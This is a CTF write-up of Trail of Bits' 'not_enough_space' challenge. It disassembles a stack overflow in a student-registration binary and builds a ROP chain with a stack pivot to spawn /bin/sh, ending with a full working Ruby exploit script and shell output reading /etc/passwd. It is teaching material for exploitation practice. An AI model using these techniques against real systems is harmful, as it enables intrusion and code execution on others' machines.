Trail of Bits released a number of CTF challeleges on Github.

This post is about the not_enough_space binary exploitation challenge.

The space challenge is found in the ctf/exploits/binary2_workshop/not_enough_space/ directory. It contains a single binary (space) and a wrapper script for socat (host.sh) and no source code.

There is no inherent networking ability in the binary, we can run it from the command line like this:

†  ./space
Welcome to New Student Registration!
Please fill out the following information
Student name:
Student ID number:
Current GPA:
Desired Major:
Type YES to verify that all information is correct: YES
Information Recorded

The get_info function is responsible for giving us this menu and processing our input.

[0x08048df8]> pdf @ sym.get_info
/ (fcn) sym.get_info 485
|   sym.get_info ();
|           ; var int local_20h @ ebp-0x20
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8

This function allocates some memory on the heap with malloc and uses fgets to read the first 4 pieces of user input into it (Student name, Student ID number, Current GPA, Desired Major). This structure is important later on but for now all we need to check is that all the bounds checking is ok (it is).

Unfortunately the final input (“YES”), is read onto the stack and does not do bounds checking correctly. A new developer bolting this confirmation feature onto the code at a later date is a plausible explanation for how a bug like this can happen.

Here is the final fgets call:

|           0x0804904d      a1c4f40e08     mov eax, dword obj.stdin
|           0x08049052      89c2           mov edx, eax
|           0x08049054      8b45e4         mov eax, dword [local_1ch] ; length
|           0x08049057      89542408       mov dword [local_8h], edx ; stdin
|           0x0804905b      89442404       mov dword [local_4h], eax ; length
|           0x0804905f      8d45e0         lea eax, [local_20h] ; buffer
|           0x08049062      890424         mov dword [esp], eax ; buffer
|           0x08049065      e8660f0000     call sym.fgets

This is how the length (local_1ch) is calculated:

|           0x08048ed6      83ec2c         sub esp, 0x2c
|           0x08048ed9      89e8           mov eax, ebp
|           0x08048edb      89c2           mov edx, eax
|           0x08048edd      8d45e0         lea eax, [local_20h]
|           0x08048ee0      89d1           mov ecx, edx
|           0x08048ee2      29c1           sub ecx, eax
|           0x08048ee4      89c8           mov eax, ecx
|           0x08048ee6      83c009         add eax, 9
|           0x08048ee9      8945e4         mov dword [local_1ch], eax

So the buffer (local_20h) is 0x20 bytes away from ebp and for some reason 9 is added to make the length value used in fgets (local_1ch) equal to 0x29. It seems that if we actually supply 0x29 bytes to this fgets call, we should be able to overflow the return address of this function (but probably not much else).

The code will only check that the first 3 bytes equal ‘Y’, ‘E’ and ‘S’. The other 0x26 can be anything we want (except '\n'/0x0a the delimiter for fgets), which is helpful from an attacker’s perspective. It is important that this check for “YES” does pass though because if it doesn’t, the program will print “Connect again to retry” and exit right away.

|           0x0804906a      8d45e0         lea eax, [local_20h]
|           0x0804906d      ba515a0c08     mov edx, 0x80c5a51          ; "YES"
|           0x08049072      b903000000     mov ecx, 3
|           0x08049077      89d6           mov esi, edx
|           0x08049079      89c7           mov edi, eax
|           0x0804907b      f3a6           repe cmpsb byte [esi], byte ptr es:[edi]
|           0x0804907d      0f97c2         seta dl
|           0x08049080      0f92c0         setb al
|           0x08049083      89d1           mov ecx, edx
|           0x08049085      28c1           sub cl, al
|           0x08049087      89c8           mov eax, ecx
|           0x08049089      0fbec0         movsx eax, al
|           0x0804908c      85c0           test eax, eax
|       ,=< 0x0804908e      750d           jne 0x804909d
...
|       `-> 0x0804909d      c70424555a0c.  mov dword [esp], str.Connect_again_to_retry
|           0x080490a4      e817150000     call sym.puts               ; int puts(const char *s)
|           0x080490a9      c70424010000.  mov dword [esp], 1
\           0x080490b0      e8bb090000     call sym.exit               ; void exit(int status)

We’ll use the old alphabet trick from the Shellcoder’s Handbook (perl -e 'print "a".."z"') to get an idea of which parts of our input corrupt which parts of the application.

#!/usr/bin/ruby
require 'r2pipe'
require 'pty'

m_sp, slave = PTY.open
read, w_sp = IO.pipe
pid = spawn("./ctf/exploits/binary2_workshop/not_enough_space/space", :in=>read, :out=>slave)

r2_thread = Thread.new do
  r2 = R2Pipe.new "-d #{pid}"
  r2.cmd("dc")

  puts("[+] stacktrace")
  puts(r2.cmd("dbt"))
  puts("[+] registers")
  puts(r2.cmd("dr"))
  exit 0
end

sleep 2
w_sp.puts("name")
w_sp.puts("id")
w_sp.puts("gda")
w_sp.puts("major")
overflow = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
w_sp.puts('YES' + overflow)
gets

And here is the output:

[+] stacktrace
0  0x4b4a4948 sp: 0x0         0    [??]  eip ebp+67372036
1  0x8048e19  sp: 0xffb72dac  204  [??]  entry0+33
2  0x80490b5  sp: 0xffb72db0  4    [??]  main sym.get_info+485
[+] registers
eax = 0x09b1d308
ebx = 0x75747372
ecx = 0x080c5a00
edx = 0x080c5a00
esi = 0x79787776
edi = 0x4342417a
esp = 0xffb72ce0
ebp = 0x47464544
eip = 0x4b4a4948
eflags = 0x00010286
oeax = 0xffffffff

The fact that the instruction pointer became “HIJK” is a good sign. This means we managed to overwrite the return address. Let’s modify the r2 thread to breakpoint before get_info returns and print the stack:

r2 = R2Pipe.new "-d #{pid}"

get_info_ret = "0x08049095"
r2.cmd("db #{get_info_ret}")

r2.cmd("dc")

registers = r2.json(r2.cmd("drj"))
ebp = registers['ebp']

puts("ebp = 0x#{ebp.to_i.to_s(16)}")
puts("+------------------------------------+")
puts("| ebp + 0xc arg2        | #{r2.cmd("pv4 @ #{ebp}+0xc").chomp} |")
puts("| ebp + 0x8 arg1        | #{r2.cmd("pv4 @ #{ebp}+0x8").chomp} |")
puts("| ebp + 0x4 saved eip   | #{r2.cmd("pv4 @ #{ebp}+0x4").chomp} |")
puts("| ebp + 0x0 saved ebp   | #{r2.cmd("pv4 @ #{ebp}+0x0").chomp} |")
puts("| ebp - 0x4             | #{r2.cmd("pv4 @ #{ebp}-0x4").chomp} |")
puts("| ebp - 0x8             | #{r2.cmd("pv4 @ #{ebp}-0x8").chomp} |")
puts("| ebp - 0xc             | #{r2.cmd("pv4 @ #{ebp}-0xc").chomp} |")
puts("+------------------------------------+")
exit 0

The output looks like this:

ebp = 0xfffa3cd8
+------------------------------------+
| ebp + 0xc arg2        | 0x00000003 |
| ebp + 0x8 arg1        | 0x080dec00 |
| ebp + 0x4 saved eip   | 0x4b4a4948 |
| ebp + 0x0 saved ebp   | 0x47464544 |
| ebp - 0x4             | 0x4342417a |
| ebp - 0x8             | 0x79787776 |
| ebp - 0xc             | 0x75747372 |
+------------------------------------+

As you can see, we only have enough space to overwrite the return address (saved eip) and nothing more. So even if this was a dynamically linked application, we don’t have space to setup arguments to do a return to libc attack. Although we can dump 0x26 bytes of anything we want onto the stack, the stack is not executable, so we can’t insert shellcode and execute it.

[0x08048df8]> iI
arch     x86
...
nx       true
...
static   true
...

This arbitrary data we can place on the stack can be used for a rop chain though. There does not appear to be a flag present so lets aim for a shell instead.

The execve systemcall number is 11(0xb) (check /usr/include/asm/unistd_32.h), first argument is a pointer to a nul terminated string holding the path to the executable we wish to run and the other 2 arguments (command line arguments and environmental variables) can be null.

So our goal is to execute code equivalent to the following, by stitching together pieces of code already present in the binary (called gadgets).

edx = 0 ; <-- pointer to environmental variables (NULL)
ecx = 0 ; <-- pointer to command line arguments (NULL)
ebx = "/bin/sh" ; <-- pointer to executable to run
eax = 0xb ; <-- execve system call number
int 0x80

But before that, we need to change esp to point lower down on the stack to where our rop chain will be. Even though I found a neat gadget to do this (0x0806a6e3), I couldn’t figure out how to fit the rest of the rop chain in the remaining space. Perhaps this is the reason the challenge is called not enough space. But we also have full control of the heap allocated struct where the student name, id, gdp etc. went. That will be more than enough space to hold our rop chain.

So the first step is to pivot the stack to the student object. Lucky for the attacker, a pointer to this object is returned from the get_info function and therefor is ready and waiting for us in the eax register.

r2 has a neat gadget search function. With a little imagination and trial and effort (and a copy of the Intel manual), we can find what we need.

[0x08048df8]> "/R xchg eax, esp;ret"
0x080dbf59                 94  xchg eax, esp
0x080dbf5a                 c3  ret

Setting the values of edx, ecx and eax is straightforward because they are all immediate values (0, 0, 0xb respectively). If we cannot find gadgets to set the value we need we can always just pop from the new “stack” we control.

Setting eax to 0xb

0x080bcc9c               31c0  xor eax, eax
0x080bcc9e                 c3  ret

0x08088732             83c00b  add eax, 0xb
0x08088735                 5f  pop edi
0x08088736                 c3  ret

Setting edx and ecx to anything we want.

0x0805fbea                 5a  pop edx
0x0805fbeb                 c3  ret

0x080e68da                 59  pop ecx
0x080e68db                 c3  ret

Setting ebx is more complicated, because we need to store the string /bin/sh\0 somewhere in memory and then set ebx to this memory location. An important thing to keep in mind is that immediately after the stack pivot, not only is esp now pointing to the student object but eax is pointing to the original stack. So one approach would be to put our string on the original stack and then add eax and the correct offset to ebx.

Here are some gadgets to achieve this. We can pop the offset into ebx and then add eax to it.

0x0805bbf1                 5b  pop ebx
0x0805bbf2                 c3  ret

0x0805cfe2               01c3  add ebx, eax
0x0805cfe4       8db600000000  lea esi, [esi]
0x0805cfea       8dbf00000000  lea edi, [edi]
0x0805cff0             8d4202  lea eax, [edx + 2]
0x0805cff3                 c3  ret

If we put our “/bin/sh\0” string right before the return address on the stack, then our offset for the old esp will be -12 (3 words); -4 bytes to jump back to the return address and -8 words to jump to the beginning of the 8 byte string.

For our final exploit, there are two inputs we need to craft, the first is the initial overflow of the “YES” confirmation, and the second is the student object. The first will overwrite the return address of the function and hold our “/bin/sh\0” string. The second will hold our rop chain.

Our overflow string looks like this

$gadget_xchg_eax_esp = addr_to_str 0x080dbf59
#0x080dbf59                 94  xchg eax, esp
#0x080dbf5a                 c3  ret

overflow = ('a' * 25) + "/bin/sh\x00" + $gadget_xchg_eax_esp

Our new “stack” looks like this

$gadget_pop_ebx = addr_to_str 0x0805bbf1
#0x0805bbf1                 5b  pop ebx
#0x0805bbf2                 c3  ret

$new_ebx = addr_to_str -12
# offest from the old esp to get our "/bin/sh\0" string.

$gadget_add_ebx_eax = addr_to_str 0x0805cfe2
#0x0805cfe2               01c3  add ebx, eax
#0x0805cfe4       8db600000000  lea esi, [esi]
#0x0805cfea       8dbf00000000  lea edi, [edi]
#0x0805cff0             8d4202  lea eax, [edx + 2]
#0x0805cff3                 c3  ret

$gadget_pop_ecx = addr_to_str 0x080e68da
#0x080e68da                 59  pop ecx
#0x080e68db                 c3  ret

$new_ecx = addr_to_str 0

$gadget_pop_edx = addr_to_str 0x0805fbea
#0x0805fbea                 5a  pop edx
#0x0805fbeb                 c3  ret

$new_edx = addr_to_str 0

$gadget_xor_eax_eax = addr_to_str 0x080bcc9c
#0x080bcc9c               31c0  xor eax, eax
#0x080bcc9e                 c3  ret

$gadget_add_eax_0xb = addr_to_str 0x08088732
#0x08088732             83c00b  add eax, 0xb
#0x08088735                 5f  pop edi
#0x08088736                 c3  ret

$junk = addr_to_str 0

$gadget_syscall = addr_to_str 0x08049699
#0x08049699      cd80           int 0x80

new_stack =
  $gadget_pop_ebx +
  $new_ebx +
  $gadget_add_ebx_eax +
  $gadget_pop_ecx +
  $new_ecx +
  $gadget_pop_edx +
  $new_edx +
  $gadget_xor_eax_eax +
  $gadget_add_eax_0xb +
  $junk +
  $gadget_syscall

The sigils make the variables global in Ruby, this lets me keep them in a separate file for clarity and reuse them in different scripts to make it easier to try different approaches at the same time.

We can spawn the binary locally (useful for debugging) or netcat to connect remotely using Ruby’s PTY module part of the standard library.

require 'pty'

def xspawn cmd
  master, slave = PTY.open
  read, write = IO.pipe
  pid = spawn(cmd, :in=>read, :out=>slave)
  read.close
  slave.close
  return master, write, pid
end

m_sp, w_sp, pid_sp = xspawn "./ctf/exploits/binary2_workshop/not_enough_space/space"
# OR
m_sp, w_sp, pid_sp = xspawn "nc 127.0.0.1 12348"

We can feed our exploit string and new stack into stdin of the space binary or netcat. Note that stdin, and stdout are buffered and fully independent. We don’t need to read the menu options from stdout before we feed our answers into stdin. We don’t need to read stdout at all.

student_major = "a"
student_id = "a"
student_gda = "a"

puts("[+] main setting Student name")
p new_stack
w_sp.puts(new_stack)
puts("[+] main setting Student ID number to #{student_id}")
w_sp.puts(student_id)
puts("[+] main setting Current GPA to #{student_gda}")
w_sp.puts(student_gda)
puts("[+] main setting Desired Major to #{student_major}")
w_sp.puts(student_major)

puts("[+] main sending YES + exploit string")
p overflow
w_sp.puts('YES' + overflow)

To make our shell interactive, it does not seem like Ruby has a ready made interact function, but we can implement it ourselves in a few lines of code. We basically just need to select(2) on stdin of the script and stdout of space or netcat and shuffle data from one world to the other.

while true do
  rs, _, _ = IO.select([m_sp, $stdin])
  if rs.include?(m_sp) then
    print(m_sp.read_nonblock(100))
  end

  if rs.include?($stdin) then
    w_sp.print($stdin.read_nonblock(100))
  end
end

Here is example output from our exploit script:

† ruby space_exp.rb
[+] main setting Student name
"\xF1\xBB\x05\b\xF4\xFF\xFF\xFF\xE2\xCF\x05\b\xDAh\x0E\b\x00\x00\x00\x00\xEA\xFB\x05\b\x00\x00\x00\x00\x9C\xCC\v\b2\x87\b\b\x00\x00\x00\x00\x99\x96\x04\b\x01%\x00\x00"
[+] main setting Student ID number to a
[+] main setting Current GPA to a
[+] main setting Desired Major to a
[+] main sending YES + exploit string
"aaaaaaaaaaaaaaaaaaaaaaaaa/bin/sh\x00Y\xBF\r\b"
Welcome to New Student Registration!
Please fill out the following information
Student name: Student ID number: Current GPA: 
head /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/var/spool/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false

Here is the full script:

#!/usr/bin/ruby
require 'pty'

def xspawn cmd
  master, slave = PTY.open
  read, write = IO.pipe
  pid = spawn(cmd, :in=>read, :out=>slave)
  read.close
  slave.close
  return master, write, pid
end

m_sp, w_sp, pid_sp = xspawn "./ctf/exploits/binary2_workshop/not_enough_space/space"
#m_sp, w_sp, pid_sp = xspawn "nc 127.0.0.1 12348"

def addr_to_str addr
  # We need to convert from numeric to little Endian string format.
  return (addr & 0xff).chr +
    ((addr >> 8) & 0xff).chr +
    ((addr >> 16) & 0xff).chr +
    ((addr >> 24) & 0xff).chr
end

$gadget_xchg_eax_esp = addr_to_str 0x080dbf59
#0x080dbf59                 94  xchg eax, esp
#0x080dbf5a                 c3  ret

overflow = ('a' * 25) + "/bin/sh\x00" + $gadget_xchg_eax_esp

$gadget_pop_ebx = addr_to_str 0x0805bbf1
#0x0805bbf1                 5b  pop ebx
#0x0805bbf2                 c3  ret

$new_ebx = addr_to_str -12
# offest from the old esp to get our "/bin/sh\0" string.

$gadget_add_ebx_eax = addr_to_str 0x0805cfe2
#0x0805cfe2               01c3  add ebx, eax
#0x0805cfe4       8db600000000  lea esi, [esi]
#0x0805cfea       8dbf00000000  lea edi, [edi]
#0x0805cff0             8d4202  lea eax, [edx + 2]
#0x0805cff3                 c3  ret

$gadget_pop_ecx = addr_to_str 0x080e68da
#0x080e68da                 59  pop ecx
#0x080e68db                 c3  ret

$new_ecx = addr_to_str 0

$gadget_pop_edx = addr_to_str 0x0805fbea
#0x0805fbea                 5a  pop edx
#0x0805fbeb                 c3  ret

$new_edx = addr_to_str 0

$gadget_xor_eax_eax = addr_to_str 0x080bcc9c
#0x080bcc9c               31c0  xor eax, eax
#0x080bcc9e                 c3  ret

$gadget_add_eax_0xb = addr_to_str 0x08088732
#0x08088732             83c00b  add eax, 0xb
#0x08088735                 5f  pop edi
#0x08088736                 c3  ret

$junk = addr_to_str 0

$gadget_syscall = addr_to_str 0x08049699
#0x08049699      cd80           int 0x80

new_stack =
  $gadget_pop_ebx +
  $new_ebx +
  $gadget_add_ebx_eax +
  $gadget_pop_ecx +
  $new_ecx +
  $gadget_pop_edx +
  $new_edx +
  $gadget_xor_eax_eax +
  $gadget_add_eax_0xb +
  $junk +
  $gadget_syscall

student_major = "a"
student_id = "a"
student_gda = "a"

puts("[+] main setting Student name")
p new_stack
w_sp.puts(new_stack)
puts("[+] main setting Student ID number to #{student_id}")
w_sp.puts(student_id)
puts("[+] main setting Current GPA to #{student_gda}")
w_sp.puts(student_gda)
puts("[+] main setting Desired Major to #{student_major}")
w_sp.puts(student_major)

puts("[+] main sending YES + exploit string")
p overflow
w_sp.puts('YES' + overflow)

while true do
  rs, _, _ = IO.select([m_sp, $stdin])
  if rs.include?(m_sp) then
    print(m_sp.read_nonblock(100))
  end

  if rs.include?($stdin) then
    w_sp.print($stdin.read_nonblock(100))
  end
end